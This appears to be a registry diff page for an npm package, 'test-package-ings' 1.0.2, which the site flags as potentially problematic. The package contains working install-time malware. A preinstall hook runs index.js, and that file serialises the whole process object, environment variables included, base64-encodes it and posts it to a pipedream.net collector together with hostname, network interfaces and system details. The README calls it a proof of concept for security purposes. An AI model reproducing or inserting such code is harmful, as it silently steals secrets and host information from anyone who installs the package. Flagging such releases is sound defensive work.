test-package-ings 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of test-package-ings might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +55 -0
- package/package.json +17 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
PoC by HTM for security purpose only.
|
package/index.js
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
const https = require('https');
|
4
|
+
const http = require('http');
|
5
|
+
const os = require('os');
|
6
|
+
|
7
|
+
const currentPath = __dirname;
|
8
|
+
const currentFile = __filename;
|
9
|
+
const currentEnvString = JSON.stringify(process);
|
10
|
+
const currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
|
11
|
+
|
12
|
+
const data = {
|
13
|
+
envPORT: process.env.PORT,
|
14
|
+
hostname: JSON.stringify(os.hostname()),
|
15
|
+
currentPath,
|
16
|
+
currentFile,
|
17
|
+
currentEnvBase64,
|
18
|
+
type: JSON.stringify(os.type()),
|
19
|
+
platform: JSON.stringify(os.platform()),
|
20
|
+
arch: JSON.stringify(os.arch()),
|
21
|
+
release: JSON.stringify(os.release()),
|
22
|
+
uptime: JSON.stringify(os.uptime()),
|
23
|
+
loadavg: JSON.stringify(os.loadavg()),
|
24
|
+
totalmem: JSON.stringify(os.totalmem()),
|
25
|
+
freemem: JSON.stringify(os.freemem()),
|
26
|
+
cpus: JSON.stringify(os.cpus()),
|
27
|
+
networkInterfaces: JSON.stringify(os.networkInterfaces()),
|
28
|
+
};
|
29
|
+
|
30
|
+
const dataJSON = JSON.stringify(data);
|
31
|
+
|
32
|
+
const options = {
|
33
|
+
hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
|
34
|
+
port: 443,
|
35
|
+
path: '/QHN5bm9sb2d5LWNmdC9nbG9iYWwtc2V0dXAtZnJhbWV3b3JrOmh0dHBzOi8vaWRlbnRpdHkuc2l0ZS5jMi5zeW5vbG9neS5jb20vYXNzZXRzL2pzL21haW4uNTg5M2E4YzIuanM',
|
36
|
+
method: 'POST',
|
37
|
+
headers: {
|
38
|
+
'Content-Type': 'application/json',
|
39
|
+
'Content-Length': Buffer.byteLength(dataJSON),
|
40
|
+
},
|
41
|
+
};
|
42
|
+
|
43
|
+
const req = https.request(options, res => {
|
44
|
+
res.on('data', d => {
|
45
|
+
process.stdout.write(d);
|
46
|
+
});
|
47
|
+
});
|
48
|
+
|
49
|
+
req.on('error', error => {
|
50
|
+
console.error(error);
|
51
|
+
});
|
52
|
+
|
53
|
+
req.write(dataJSON);
|
54
|
+
req.end();
|
55
|
+
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "test-package-ings",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Aditya",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"http": "0.0.1-security",
|
14
|
+
"https": "^1.0.0",
|
15
|
+
"os": "^0.1.1"
|
16
|
+
}
|
17
|
+
}
|